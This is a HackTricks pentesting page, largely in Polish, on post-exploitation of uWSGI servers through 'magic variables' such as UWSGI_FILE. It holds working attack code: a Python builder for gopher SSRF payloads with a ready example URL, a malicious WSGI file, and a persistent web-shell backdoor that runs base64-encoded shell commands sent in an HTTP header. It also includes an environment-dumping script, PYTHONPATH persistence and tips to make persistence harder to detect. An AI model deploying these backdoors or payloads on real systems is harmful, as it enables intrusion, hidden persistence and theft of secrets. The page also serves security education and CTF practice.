WSGI Post-Exploitation Tricks
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
WSGI Przegląd
Web Server Gateway Interface (WSGI) to specyfikacja opisująca, jak serwer WWW komunikuje się z aplikacjami webowymi oraz jak aplikacje webowe mogą być łączone w łańcuch, by obsłużyć jedno żądanie. uWSGI jest jednym z najpopularniejszych serwerów WSGI, często używanym do serwowania aplikacji webowych w Pythonie. Jego natywny binarny transport to protokół uwsgi (małe litery), który przenosi zestaw parametrów klucz/wartość (“uwsgi params”) do backendowego serwera aplikacji.
Related pages you may also want to check:
SSRF (Server Side Request Forgery)
uWSGI Magic Variables Exploitation
uWSGI udostępnia specjalne “zmienne magiczne”, które mogą zmienić sposób, w jaki instancja ładuje i dystrybuuje aplikacje. Te zmienne nie są zwykłymi nagłówkami HTTP — są to parametry uwsgi przenoszone wewnątrz żądania uwsgi/SCGI/FastCGI od reverse proxy (nginx, Apache mod_proxy_uwsgi, itd.) do backendu uWSGI. Jeśli konfiguracja proxy mapuje dane kontrolowane przez użytkownika na parametry uwsgi (na przykład za pomocą $arg_*, $http_*, lub niebezpiecznie wystawionych endpointów mówiących protokołem uwsgi), atakujący mogą ustawić te zmienne i uzyskać wykonanie kodu.
Niebezpieczne mapowania w frontowych proxy (przykład nginx)
Błędne konfiguracje takie jak poniższa bezpośrednio ujawniają zmienne magiczne uWSGI w danych kontrolowanych przez użytkownika:
location /app/ {
include uwsgi_params;
# DANGEROUS: maps query args into uwsgi params
uwsgi_param UWSGI_FILE $arg_f; # /app/?f=/tmp/backdoor.py
uwsgi_param UWSGI_MODULE $http_x_mod; # header: X-Mod: pkg.mod
uwsgi_param UWSGI_CALLABLE $arg_c; # /app/?c=application
uwsgi_pass unix:/run/uwsgi/app.sock;
}
Jeśli aplikacja lub funkcja upload pozwala na zapis plików w przewidywalnej ścieżce, połączenie tego z powyższymi mapowaniami zwykle skutkuje natychmiastowym RCE, gdy backend załaduje kontrolowany przez atakującego plik/moduł.
Kluczowe zmienne podatne na wykorzystanie
UWSGI_FILE - Arbitrary File Load/Execute
uwsgi_param UWSGI_FILE /path/to/python/file.py;
Ładuje i wykonuje dowolny plik Pythona jako aplikację WSGI. Jeśli atakujący może kontrolować ten parametr za pomocą uwsgi param bag, może osiągnąć Remote Code Execution (RCE).
UWSGI_SCRIPT - Ładowanie skryptu
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
Ładuje określony skrypt jako nową aplikację. W połączeniu z możliwością przesyłania plików lub zapisu może to prowadzić do RCE.
UWSGI_MODULE i UWSGI_CALLABLE - Dynamiczne ładowanie modułów
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
Te parametry pozwalają na załadowanie dowolnych modułów Pythona i wywoływanie konkretnych funkcji w ich obrębie.
UWSGI_SETENV - Manipulacja zmiennymi środowiskowymi
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
Może być użyte do modyfikowania zmiennych środowiskowych, potencjalnie wpływając na zachowanie aplikacji lub ładowanie złośliwej konfiguracji.
UWSGI_PYHOME - Manipulacja środowiskiem Pythona
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Zmienia wirtualne środowisko Pythona, potencjalnie ładując złośliwe pakiety lub inny interpreter Pythona.
UWSGI_CHDIR - Zmiana katalogu
uwsgi_param UWSGI_CHDIR /etc/;
Zmienia katalog roboczy przed przetwarzaniem żądań i może być łączona z innymi funkcjami.
SSRF + uwsgi protocol (gopher) pivot
Threat model
Jeśli docelowa aplikacja webowa ujawnia SSRF primitive i instancja uWSGI nasłuchuje na wewnętrznym gnieździe TCP (na przykład, socket = 127.0.0.1:3031), możesz komunikować się surowym protokołem uwsgi przez gopher i wstrzykiwać magiczne zmienne uWSGI.
Jest to możliwe, ponieważ wiele wdrożeń używa wewnętrznie nie-HTTP gniazda uwsgi; reverse proxy (nginx/Apache) tłumaczy klientowskie HTTP na zestaw parametrów uwsgi. Z SSRF+gopher możesz bezpośrednio skonstruować binarny pakiet uwsgi i ustawić niebezpieczne zmienne takie jak UWSGI_FILE.
uWSGI protocol structure (quick reference)
- Header (4 bytes):
modifier1(1 byte),datasize(2 bytes little-endian),modifier2(1 byte) - Body: sequence of
[key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]
Dla standardowych żądań modifier1 ma wartość 0. Ciało zawiera parametry uwsgi takie jak SERVER_PROTOCOL, REQUEST_METHOD, PATH_INFO, UWSGI_FILE itd. Zobacz oficjalną specyfikację protokołu dla pełnych szczegółów.
Minimal packet builder (generate gopher payload)
import struct, urllib.parse
def uwsgi_gopher_url(host, port, params):
body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()])
pkt = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body
return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt)
# Example URL:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
Przykład użycia do wymuszenia załadowania pliku wcześniej zapisanego na serwerze:
params = {
'SERVER_PROTOCOL':'HTTP/1.1', 'REQUEST_METHOD':'GET', 'PATH_INFO':'/',
'UWSGI_FILE':'/app/profiles/malicious.py', 'SCRIPT_NAME':'/malicious.py'
}
print(uwsgi_gopher_url('127.0.0.1', 3031, params))
Wyślij wygenerowany URL przez SSRF sink.
Przykład działania
Jeśli możesz zapisać plik python na dysku (rozszerzenie nie ma znaczenia) z kodem takim jak:
# /app/profiles/malicious.py
import os
os.system('/readflag > /app/profiles/result.txt')
def application(environ, start_response):
start_response('200 OK', [('Content-Type','text/plain')])
return [b'ok']
Wygeneruj i wywołaj gopher payload, który ustawi UWSGI_FILE na tę ścieżkę. Backend zaimportuje i uruchomi go jako WSGI app.
Post-Exploitation Techniques
1. Persistent Backdoors
File-based Backdoor
# backdoor.py
import subprocess, base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = 'Backdoor active'
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
Załaduj to przy użyciu UWSGI_FILE i uzyskaj do niego dostęp pod wybranym SCRIPT_NAME.
Utrwalanie oparte na zmiennych środowiskowych
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;
2. Ujawnianie informacji
Zrzut zmiennych środowiskowych
# env_dump.py
import os, json
def application(environ, start_response):
env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
Dostęp do systemu plików
Połącz UWSGI_CHDIR z narzędziem do serwowania plików, aby przeglądać wrażliwe katalogi.
3. Pomysły na Privilege Escalation
- Jeśli uWSGI działa z podwyższonymi uprawnieniami i zapisuje sockets/pids należące do root, nadużycie env i zmian katalogów może pozwolić na zapisanie plików z uprzywilejowanymi właścicielami lub manipulowanie runtime state.
- Nadpisanie konfiguracji przez environment (
UWSGI_*) w pliku ładowanym przezUWSGI_FILEmoże wpłynąć na process model i workers, aby uczynić persistence trudniejszą do wykrycia.
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
Reverse-proxy desync issues istotne dla łańcuchów uWSGI (najnowsze)
Instalacje używające Apache httpd z mod_proxy_uwsgi doświadczyły ostatnio błędów response-splitting/desynchronization, które mogą wpływać na warstwę translacji frontend↔backend:
- CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; also relevant to uWSGI integration prior to 2.0.22/2.0.26 fixes): spreparowane nagłówki odpowiedzi mogą powodować HTTP response smuggling, gdy używany jest
mod_proxy_uwsgi. Aktualizacja Apache do ≥2.4.56 łagodzi problem. - CVE-2024-24795 (fixed in Apache httpd 2.4.59; uWSGI 2.0.26 adjusted its Apache integration): HTTP response splitting in multiple httpd modules could lead to desync when backends inject headers. In uWSGI’s 2.0.26 changelog this appears as “let httpd handle CL/TE for non-http handlers.”
Te luki nie dają bezpośrednio RCE w uWSGI, ale w skrajnych przypadkach można je łączyć z header injection lub SSRF, aby pivotować w kierunku uwsgi backendu. Podczas testów fingerprintuj proxy i wersję oraz rozważ desync/smuggling primitives jako wejście do tras i socketów dostępnych tylko z backendu.
References
- uWSGI Magic Variables Documentation
- IOI SaveData CTF Writeup
- uWSGI Security Best Practices
- The uwsgi Protocol (spec)
- uWSGI 2.0.26 changelog mentioning CVE-2024-24795 adjustments
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

